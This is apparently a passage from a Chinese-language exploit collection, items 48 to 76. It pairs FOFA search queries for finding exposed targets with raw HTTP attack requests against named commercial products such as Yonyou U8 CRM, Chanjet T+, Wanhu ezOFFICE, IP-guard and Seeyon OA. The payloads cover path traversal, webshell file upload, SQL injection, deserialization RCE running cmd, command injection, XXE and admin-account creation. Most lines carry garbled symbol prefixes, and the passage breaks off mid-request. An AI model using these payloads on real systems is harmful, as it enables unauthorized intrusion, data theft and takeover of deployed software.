4 Z8 N% R) t$ i# _2 P  G# iGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
, E) P8 A1 [9 `8 t5 R) }- F7 C! iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
3 G; v; p& x# F& B+ \1 a8 B; ^Connection: close

7 {3 m( l) [5 `) O- Q. }

3 [% t( K" W# Y48. 用友U8 CRM swfupload 任意文件上传
1 _  j8 a, n& w% N5 B/ B" [" [' _FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
$ h. q  r& I4 ]+ ~' X( D* xHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
& ^. V# S0 M& K+ \  n  hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
* l6 k9 P3 _% R3 r" iContent-Disposition: form-data; name="file"; filename="s.php"
. z4 r3 _- |0 w! Q6 u( _1231
Content-Type: application/octet-stream
: B& g0 c6 A8 B: k% T------269520967239406871642430066855
0 V  {. N0 @- e3 e: c2 o  u. EContent-Disposition: form-data; name="upload"
upload
% `6 l$ k: ], `- K  E$ R$ K------269520967239406871642430066855--


49. 用友U8 CRM系统uploadfile.php接口任意文件上传
# |# z' i: B3 Z' nFOFA：body="用友U8CRM"

6 x8 a" s- ~7 sPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
; O, }1 }; J. _Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
2 d" h+ p5 `5 P3 R) t9 s* H/ {% Z2 |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
2 {/ b, I+ @; g; t) k" E
+ `5 k8 Q0 @4 V1 e+ D-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
1 q/ j6 u7 d/ ^( R1 W/ kContent-Type: application/octet-stream
* h9 m" }- d8 i# E# G: _& a, O
0 T+ T! u* j6 x) I! N& s6 ^6 {wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

upload
4 ]- P4 D6 [5 |- d. h-----------------------------vvv3wdayqv3yppdxvn3w--


) s/ {6 K% r3 Ghttp://x.x.x.x/tmpfile/updB3CB.tmp.php
5 h3 q! d2 r1 ]: R
50. QDocs Smart School 6.4.1 filterRecords SQL注入
+ B2 ^- a6 q4 b% }* k# S5 qFOFA：body="close closebtnmodal"
6 q6 X8 N/ g$ @  b  ~POST /course/filterRecords/ HTTP/1.1
7 a8 k9 H% u7 @/ wHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
2 C1 {3 S, S' d1 x4 M9 _. @' Q+ v3 [8 `Connection: close
4 {0 K9 K5 y5 xContent-Length: 224
Accept: */*
& X5 u6 C% _6 iAccept-Language: en
1 T5 k% Y0 D  }2 \) t2 e. O( ?Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1


. i5 |9 x# F6 N: L51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
+ c6 d6 Z3 E7 }# P6 W9 BFOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
- X6 R! T9 Z( X8 `) \User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
# [) l" p3 D) p2 G* mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
% z/ `: Z2 b$ s2 Z9 ]) K3 V9 CAccept-Encoding: gzip, deflate
4 f% _% A( J& d( t* w1 {Accept-Language: zh-CN,zh;q=0.9
7 @# _9 n# m' K* L/ y  MConnection: close
, c9 L) L" D2 `# p
, V2 M2 R# q& Z
# h# K" \1 d4 T52. 泛微E-Office json_common.php sql注入
1 q; y1 y0 |1 aFOFA：app="泛微-EOffice"
$ R2 ^0 l" M  q7 sPOST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 87
. X9 f. ]& M# b; X# G7 C( W# c9 o: cAccept: */*
' o) T% ]4 m0 F9 K$ A, H; r) a; tAccept-Language: en
* `5 x, A( K4 Z& mContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

2 e6 m8 F- n9 d7 ?8 V+ Ytfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333

; c6 j+ o+ t4 u) o1 H6 t- v( H4 M
53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
, T! ^* B/ l3 U9 m$ ^/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
5 ]% m$ h1 ^0 F) n  X% B

$ p0 l, {6 Y& b- P4 k4 ~1 F54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
$ R9 A) j+ e6 ]
/ i9 J; k: e7 X( a: A0 O  f
$ f0 D7 _9 u* G7 k完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
9 E1 b* t# t1 W# O& P, M* ?User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
- }1 Z' G! X! z6 V0 k8 eContent-Length: 593
6 R, s9 U& \. E5 q% c, ~
{
"storeID":{
, \0 T% ]( d; F/ i* o "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
6 {8 H: M) Z0 u! h" C& M "MethodName":"Start",
  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
) Y% N. c2 ?1 g; }" z7 Q7 L   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
3 s4 p( K* ?0 G8 s0 N$ Q5 g    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
4 X% ?- l% k! e+ l' a% }3 R( l  }
2 L; q6 e8 z0 s0 ~  q% @  }
}

5 V6 B; e' D) v
9 V( V( M' S" f第二步，访问如下url
1 O$ |0 Z7 @2 g( N6 v/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
+ j* G9 d8 Q$ h* J8 b- p. O
8 K+ N7 T+ M! H/ p! ?5 _
55. 畅捷通T+ getdecallusers信息泄露
  _" F* d+ e: u1 MFOFA：app="畅捷通-TPlus"
+ I5 C; D9 u) x' m0 D第一步，通过
8 o. _1 v1 X) I6 d4 Y8 z7 [5 h/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
! {; `, A% L) V, p3 b第二步，利用获取到的Cookie请求
6 \; C' N( A6 S  k/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
# H- H. r# i- G8 T
: i2 t* Z  A& [  @+ g56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
: ~1 T4 {! R& T, h+ k# g. ~Content-Type: application/json
# Q3 @! l! t1 N9 U
{
2 M4 e% O( A+ W- }  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
: P- A; ^3 N+ H    "ObjectInstance":{
6 `, |6 ]: `& n- q3 [# J3 _       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
/ w5 U6 O. J3 W3 i6 W% _        "StartInfo": {
# ^4 t. T: W" N8 y1 U9 J           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
* x& K4 q4 E( y/ T       }
9 N' \8 `% ?# Q! i    }
  }
}


57. 畅捷通T+ keyEdit.aspx SQL注入
# ~" S) ]: H3 d# R9 @FOFA：app="畅捷通-TPlus"
( n& R+ f) \" `: @7 aGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
4 X8 Y8 c) P; }8 j% }7 iUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
* r# t+ Z( S$ Z, TAccept-Charset: utf-8
/ v$ k$ y% g2 X( }' g' vAccept-Encoding: gzip, deflate
; l9 N0 p' g0 M5 HConnection: close


4 {7 q+ z2 q7 d6 q1 `+ e4 o58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
+ l1 \5 F# x7 V& uHost: your-ip
6 K, q% h9 _: u7 T( |7 K1 V- z/ {User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
, j/ R) U: ]% n* |! I3 }Connection: close
2 O$ W! J2 n6 }: g% d; M' I" j) g
! P# d! @" a! W1 V, X
4 C! V+ s: E0 K4 C$ [9 g59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
+ K/ E6 ?% `2 {' O6 C/ k( i( LFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
2 D% \( E) ~* X! h, fConnection: close
Content-Length: 1669
" H. x( M; |$ l8 n; X2 ~+ lAccept: */*
Accept-Language: en
) ?* W. |: `2 l% }) kContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

PAYLOAD

" f# T4 r% v) G' r* x% C  i3 [
60. 百卓Smart管理平台 importexport.php SQL注入
: |# x4 K; {5 a5 k: ~FOFA：title="Smart管理平台"
# K, i3 j+ j' w4 f+ fGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 v8 l% v/ ]" R+ v  l5 e- N$ bAccept-Encoding: gzip, deflate
4 X  g1 o. d' T( eAccept-Language: zh-CN,zh;q=0.9
2 I( [, b& U  q; P# NConnection: close

  E% y- }9 J0 U
6 M! {1 E# `5 z! r61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
! K2 M% K1 c8 s( a. n* ~7 DFOFA: title="欢迎使用浙大恩特客户资源管理系统"
9 d, p- N7 C. A# l( tPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
2 K. W0 P. L. I- D( @* kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
' I0 m/ H) J% ?4 `6 r: uContent-Length: 27
Accept: */*
1 V% `1 q: d- `Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

9 d' e/ ?  d6 w: X. K) \8uxssX66eqrqtKObcVa0kid98xa


& i* E/ c9 O8 A$ u: v, {2 v62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
1 X7 X1 f2 _3 Q! n9 C8 aGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
. F2 n9 d+ I/ O+ B( N, K9 OUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
: j8 ?% `0 [% y. v" M4 k" F- JConnection: close
Accept: */*
' D/ G2 i; H# @- _Accept-Language: en
# s" F+ n* s1 n2 f+ bAccept-Encoding: gzip


" ?) B- ]7 a5 M$ l% l$ J# {访问

# N; M. [4 F% }GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
4 g  ?0 U# z/ S+ ZHost: x.x.x.x


63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
1 V) u2 u, l  X' Z0 E4 P, H3 pPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
. F2 }* U6 E* ~1 C# B- e2 R4 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
( i8 y1 g( K6 }0 e" a* yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
8 f7 x2 C! g- ?2 uAccept-Language: zh-CN,zh;q=0.9
; V8 ?3 l. H( H1 a0 `Connection: close
/ m  z, j1 f+ p3 r0 UContent-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
4 V6 d* e1 v1 w1 gFOFA：body="/Scripts/EnjoyMsg.js"
% L% h7 D8 J5 b, R" O9 `POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
5 d/ I5 R) C- o  ]; A* EHost: 192.168.86.128:9001
( [  w$ e% E2 G- g, ^& eUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
9 D( t( E4 J* q/ uContent-Length: 369
& j' g. y3 u& tAccept: */*
6 ^0 s8 I, ^) r  J' O  R. eAccept-Language: en
' }( i9 V9 G. R$ h4 k+ |. P9 yContent-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
0 w+ d8 p* A4 a6 _# u
$ z/ ~& V" k, a) ~' U& y. Z7 @1 v<?xml version="1.0" encoding="utf-8"?>
0 S' s( G" t5 V" ^2 s<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
! s2 ~: c  a- ~1 w/ |: S9 Z<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
$ Z- g4 i% `- C% X0 q    </GetOSpById>
  </soap:Body>
- P" M1 S+ B5 h+ \, M# Z</soap:Envelope>

8 F6 ^/ Z! t; C  [
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
# {9 u. ]( \4 b7 A% |4 hFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
" z2 _4 P' P/ f. e, @& q" Y响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
- o) d, a: t+ ]8 Y6 NAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
1 d3 k( \4 n; f, B- K" p. ^; ~Accept-Language: en
' ?6 e. ^, `# g. XContent-Length: 174

operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

( O# [' x# A4 u, {* y' ?. \
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
- F/ D  b$ O0 ~4 B' L) MFOFA：app="万户ezOFFICE协同管理平台"
7 E1 ]- }2 n  |  G/ f1 N! [  t
3 D9 j( F0 g, I( d! HGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
6 ?2 @, }/ ~  T" d0 `' WHost: x.x.x.x
( u/ q: Y" f# l5 ^9 [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
9 j  g( D- e9 `; \4 x: V9 UAccept: */*
Accept-Language: en
Accept-Encoding: gzip
2 z2 R5 {& v3 ?/ N4 ^2 G. a
$ }9 h# |! M/ b: t
8 i2 h5 L" V$ N第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
8 Y' Z% N/ u/ U
4 s& O2 F+ a1 @  x67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
$ g1 j/ K7 r. P; K. z4 o1 }6 `newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
" h. M6 T( N1 E, D1 JPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
+ ^& t, z. L# v4 f& B1 ?Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
/ s+ Q4 E) L8 W' ^6 e- n' X6 o! `Accept-Encoding: gzip, deflate
: _2 e& U5 R% s$ G, j% }. o9 EAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
+ R1 M2 ]. Y- c0 QConnection: close
; `0 x3 S8 b9 IContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1
6 g: j' ^8 }' }2 e2 {# h
& s) {* y* c( O: u--ufuadpxathqvxfqnuyuqaozvseiueerp
: q0 \% H+ M. x( K  D. fContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
0 ~0 w8 k/ Y" G7 M
* ^1 b, `' x/ L4 p6 w  M) ~; b: a( H* c( m<% out.print("sasdfghjkj");%>
  G- `- G2 L# A--ufuadpxathqvxfqnuyuqaozvseiueerp--

3 r6 }) M, X4 b& ?+ J  V# S% ~4 @
+ v4 n3 c5 I$ U% b' L& Z文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
0 `7 R+ E; N$ d% D( ~# I! P$ I
68. 万户ezOFFICE wf_printnum.jsp SQL注入
* L8 I( x! V- G# V7 nFOFA：app="万户ezOFFICE协同管理平台"
+ M% _- Q% p4 r5 E6 b( q# D) t7 BGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
5 r+ z9 a4 F5 m& ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
5 x* u' Q) H/ r( Q5 d  Z3 P3 hAccept-Encoding: gzip, deflate
* q8 P! i) b, {9 \3 g5 |8 s' w9 yAccept-Language: zh-CN,zh;q=0.9
Connection: close
6 Y" _1 ?5 ^6 u3 u6 W& Q7 i+ a
: o1 @0 a+ R1 C# l) C$ T
69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
% x, R5 L% Y# V& u; y1 ?( dGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
# V3 i; X% G9 }  K5 UAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

+ R0 A  B2 _, l7 R( o8 {8 x9 c( L
0 }( ?$ T4 R0 ?) i5 n70. 万户ezEIP success 命令执行
6 ?* G( [: m! d+ f  L- L3 T6 f$ `FOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
; S) v# m& z6 ?& kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
* M, H7 ~' c! F' F- ^! s: cContent-Type: application/x-www-form-urlencoded
TYPE: C
- o: @/ ?' W; p4 _0 s6 C9 l  s+ J3 yContent-Length: 16702
; v1 n8 d# \7 i$ D8 q+ n- `8 D
- A* J1 l3 S0 C$ S2 x$ `1 F7 o. X__VIEWSTATE=PAYLOAD

# y: z* ]  W$ ], y" T2 T
3 _$ F  u! f7 I( `) r9 Y71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
+ H( F0 Q( E9 @% {% MHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
: b$ f8 i) a, r/ WConnection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# P: W# f3 X, A# d3 TAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- c# o* b! K3 k! F8 U+ @Upgrade-Insecure-Requests: 1
, Y) \  ^2 J- X
; z2 ~( _' G7 V
72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
  j4 c  t9 J5 G) p+ p5 dConnection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
8 U$ H. A+ Q1 b7 z, _. O0 I  pAccept-Encoding: gzip

( C% c+ g' ~% M0 rS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E

/ U4 g7 @) C* @* Y! L& l
4 C) ?8 x! i" n* ?73. GeoServer wms远程代码执行
+ v& S! X1 _3 cFOFA：icon_hash=”97540678”
( L0 {( B) v, E3 t6 QPOST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
$ I& m% n& Y* `; R. p5 FContent-Length: 1981
4 H5 b% Y3 C  L4 ^Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
SL-CE-SUID: 3
5 w& h: e8 v' g% H
PAYLOAD
( y1 k7 s; ]" T% K0 O3 X% D

) ?; `9 }6 j) }; x/ Z: O6 R74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
PAYLOAD

: ^3 P! X* x  D1 p$ m5 L75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
' o; u" n( ^- @- kFOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
& t5 {8 _2 @, YHost: x.x.x.x
$ z" H* h! I% f6 B: aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; z7 h/ X4 U3 R. @Connection: close
Accept: */*
1 A. r  p" M7 Q! o" w# zAccept-Language: en
Accept-Encoding: gzip
7 l+ G  S+ O  ^; n

$ P! }. T- P) P+ @: tGET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x

% r6 u' j! P# k! `: @
9 k2 l2 F( L! }, g, g76. 新开普掌上校园服务管理平台service.action远程命令执行
, h4 s5 y; P2 E6 R* q# ^FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
$ O  _! x: n7 L  pConnection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
/ Z- q& [" W# k5 n5 }# K# l( fAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 i. l) i1 D& ?8 M# e7 I- MCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
2 F, L- w- N4 ?0 o; ]1 jUpgrade-Insecure-Requests: 1
3 y* q( |. M4 t1 |1 ?/ C
& f# ?: a# e- Q0 V0 x{
"command": "GetFZinfo",
